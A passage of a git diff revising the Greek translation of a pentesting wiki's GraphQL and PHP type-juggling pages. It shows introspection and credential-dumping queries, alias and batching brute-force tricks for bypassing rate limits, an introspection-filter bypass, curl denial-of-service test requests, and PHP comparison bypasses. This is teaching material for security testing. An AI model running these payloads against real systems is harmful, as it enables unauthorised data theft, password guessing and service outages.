%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} ``` -Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εκτυπώσει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...) +Η τελευταία γραμμή κώδικα είναι ένα graphql query που θα εξάγει όλες τις μετα-πληροφορίες από το graphql (ονόματα αντικειμένων, παραμέτρους, τύπους...) ![](<../../images/image (363).png>) Αν η introspection είναι ενεργοποιημένη, μπορείτε να χρησιμοποιήσετε [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) για να δείτε σε μια GUI όλες τις επιλογές. -### Querying +### Ερωτήματα Τώρα που γνωρίζουμε ποιο είδος πληροφορίας αποθηκεύεται στη βάση δεδομένων, ας προσπαθήσουμε να **εξάγουμε κάποιες τιμές**. -Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι το "_flags_", το οποίο είναι επίσης τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag. +Στην introspection μπορείτε να βρείτε **ποιο αντικείμενο μπορείτε να ρωτήσετε απευθείας** (διότι δεν μπορείτε να ρωτήσετε ένα αντικείμενο απλώς επειδή υπάρχει). Στην παρακάτω εικόνα μπορείτε να δείτε ότι ο "_queryType_" ονομάζεται "_Query_" και ότι ένα από τα πεδία του αντικειμένου "_Query_" είναι το "_flags_", το οποίο είναι επίσης ένας τύπος αντικειμένου. Επομένως, μπορείτε να ρωτήσετε το αντικείμενο flag. ![](<../../images/Screenshot from 2021-03-13 18-17-48.png>) @@ -206,7 +206,7 @@ query = { hiddenFlags } Αν διαβάσετε την εικόνα που παρέχεται όταν εκτελώ αυτό το ερώτημα θα δείτε ότι το "_**user**_" είχε το **arg** "_**uid**_" τύπου _Int_. -Έτσι, εκτελώντας κάποια ελαφριά _**uid**_ bruteforce βρήκα ότι στο _**uid**=**1**_ ανακτήθηκε ένα όνομα χρήστη και ένας κωδικός πρόσβασης:\ +Έτσι, εκτελώντας κάποια ελαφριά _**uid**_ bruteforce ανακάλυψα ότι στο _**uid**=**1**_ ανακτήθηκε ένα όνομα χρήστη και ένας κωδικός πρόσβασης:\ `query={user(uid:1){user,password}}` ![](<../../images/image (90).png>) @@ -217,13 +217,13 @@ query = { hiddenFlags } Και κατά τη διάρκεια της **φάσης αρίθμησης** ανακάλυψα ότι το αντικείμενο "_**dbuser**_" είχε ως πεδία "_**user**_" και "_**password**_. -**Query string dump trick (thanks to @BinaryShadow\_)** +**Trick εξαγωγής συμβολοσειράς ερωτήματος (ευχαριστώ τον @BinaryShadow\_)** -Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εκφορτώσει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο String που ονομάζεται "**description**"_). +Αν μπορείτε να αναζητήσετε με βάση έναν τύπο συμβολοσειράς, όπως: `query={theusers(description: ""){username,password}}` και **αναζητήσετε για μια κενή συμβολοσειρά** θα **εξάγει όλα τα δεδομένα**. (_Σημειώστε ότι αυτό το παράδειγμα δεν σχετίζεται με το παράδειγμα των μαθημάτων, για αυτό το παράδειγμα υποθέστε ότι μπορείτε να αναζητήσετε χρησιμοποιώντας "**theusers**" με βάση ένα πεδίο String που ονομάζεται "**description**"_). ### Αναζήτηση -Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση** τους. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων. +Σε αυτή τη ρύθμιση, μια **βάση δεδομένων** περιέχει **άτομα** και **ταινίες**. **Άτομα** αναγνωρίζονται από το **email** και το **όνομά** τους; **ταινίες** από το **όνομά** τους και την **αξιολόγηση**. **Άτομα** μπορούν να είναι φίλοι μεταξύ τους και επίσης να έχουν ταινίες, υποδεικνύοντας σχέσεις μέσα στη βάση δεδομένων. Μπορείτε να **αναζητήσετε** άτομα **με βάση** το **όνομα** και να λάβετε τα email τους: ```javascript @@ -304,7 +304,7 @@ rating ``` **Σημειώστε πώς και οι τιμές και ο τύπος των δεδομένων υποδεικνύονται στο ερώτημα.** -Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν από τη σύνδεσή τους με το νεοδημιουργηθέν πρόσωπο. +Επιπλέον, η βάση δεδομένων υποστηρίζει μια **mutation** λειτουργία, ονόματι `addPerson`, η οποία επιτρέπει τη δημιουργία **προσώπων** μαζί με τις συσχετίσεις τους με υπάρχοντες **φίλους** και **ταινίες**. Είναι κρίσιμο να σημειωθεί ότι οι φίλοι και οι ταινίες πρέπει να υπάρχουν ήδη στη βάση δεδομένων πριν συνδεθούν με το νεοδημιουργηθέν πρόσωπο. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -339,7 +339,7 @@ releaseYear ### Batching brute-force σε 1 API request Αυτή η πληροφορία προήλθε από [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP request λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς. +Αυθεντικοποίηση μέσω GraphQL API με **ταυτόχρονη αποστολή πολλών ερωτημάτων με διαφορετικά διαπιστευτήρια** για να το ελέγξουμε. Είναι μια κλασική επίθεση brute force, αλλά τώρα είναι δυνατό να σταλεί περισσότερα από ένα ζεύγος login/password ανά HTTP αίτημα λόγω της δυνατότητας batching του GraphQL. Αυτή η προσέγγιση θα παραπλανήσει τις εξωτερικές εφαρμογές παρακολούθησης ρυθμού να πιστεύουν ότι όλα είναι καλά και δεν υπάρχει bot brute-forcing που προσπαθεί να μαντέψει κωδικούς. Παρακάτω μπορείτε να βρείτε την απλούστερη επίδειξη ενός αιτήματος αυθεντικοποίησης εφαρμογής, με **3 διαφορετικά ζεύγη email/password ταυτόχρονα**. Προφανώς είναι δυνατό να σταλούν χιλιάδες σε ένα μόνο αίτημα με τον ίδιο τρόπο: @@ -353,13 +353,13 @@ releaseYear Όλο και περισσότεροι **graphql endpoints απενεργοποιούν την introspection**. Ωστόσο, τα σφάλματα που ρίχνει το graphql όταν λαμβάνει μια απροσδόκητη αίτηση είναι αρκετά για εργαλεία όπως το [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) να αναδημιουργήσουν το μεγαλύτερο μέρος του σχήματος. -Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για το GraphiQL και το Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?). ### Παράκαμψη αμυνών introspection του GraphQL -Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να μπλοκάρουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, τα οποία το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές γραμμές: +Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, τα οποία το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές τακτικές: ```bash # Example with newline to bypass { @@ -413,7 +413,7 @@ file:* query Εκεί έξω θα μπορέσετε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.** -Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας τον τύπο περιεχομένου **`application/json`**. +Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας τον Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` @@ -425,7 +425,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστότοπο σε αιτήματα GET. -Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **ερωτήματος** και ως **GET** **αίτημα και το token CSRF μπορεί να μην επικυρώνεται σε ένα GET αίτημα.** +Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **ερωτήματος** και ως **GET** **αίτημα και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET αίτημα.** Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/index.html) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη. @@ -465,11 +465,11 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL -Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API request. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεραστεί ο περιορισμός που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα. +Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API request. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα. Για μια λεπτομερή κατανόηση των ψευδωνύμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP requests**. Ωστόσο, αυτοί οι περιοριστές ρυθμού μπορεί να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο HTTP request, μπορούν να παρακάμψουν τέτοιες μεθόδους περιορισμού ρυθμού. +Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP requests**. Ωστόσο, αυτοί οι περιοριστές ρυθμού μπορεί να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλαπλών ερωτημάτων σε ένα μόνο HTTP request, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού. Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτούν οι κωδικοί έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP request, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα. ```bash @@ -490,7 +490,7 @@ valid ### Alias Overloading -**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διαχειριστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1.000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διαχειριστή να το υπολογίσει 1.000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη: +**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διακομιστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διακομιστή να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη: ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "Content-Type: application/json" \ @@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \ ### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** -**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλαπλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας. +**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας. ```graphql # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" \ @@ -539,7 +539,7 @@ curl -X POST \ ### **Ευπάθεια Διπλασιασμού Πεδίου** -**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναληπτικά για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**. +**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναλαμβανόμενα για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**. ```bash # Test provided by https://github.com/dolevf/graphql-cop curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ @@ -553,12 +553,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Δοκιμάστε κοινές κακές ρυθμίσεις των graphql endpoints - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση παρτίδων GraphQL ερωτημάτων και μεταλλάξεων. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνωρίστε το graphql που χρησιμοποιείται -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με brute force και να βρει διαδρομές σε έναν δεδομένο τύπο. +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [Burp extension](https://github.com/doyensec/inql). -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για την αυτοματοποίηση επιθέσεων +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για να αυτοματοποιήσει επιθέσεις: `python3 graphqlmap.py -u http://example.com/graphql --inject` - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέτη**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού. +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension ή σενάριο python για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού: `python3 inql.py -t http://example.com/graphql -o output.json` - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων. ### Πελάτες diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 892dbdb87..c64239153 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -37,7 +37,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0e3264578" == 0 --> True` Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0 - `"0X3264578" == 0X --> True` Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0 - `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτό το φορμά εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) -- `"X" == 0 --> True` Οποιοδήποτε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0 +- `"X" == 0 --> True` Κάθε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0 Περισσότερες πληροφορίες στο [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -60,11 +60,11 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` -Το ίδιο σφάλμα συμβαίνει με το `strcasecmp()` +Η ίδια σφάλμα συμβαίνει με το `strcasecmp()` ### Αυστηρός τύπος Juggling -Ακόμα και αν το `===` **χρησιμοποιείται**, μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε διαφορετικό τύπο αντικειμένου πριν από τη σύγκριση**: +Ακόμα και αν το `===` **χρησιμοποιείται** μπορεί να υπάρχουν σφάλματα που καθιστούν τη **σύγκριση ευάλωτη** σε **τύπο juggling**. Για παράδειγμα, αν η σύγκριση **μετατρέπει τα δεδομένα σε 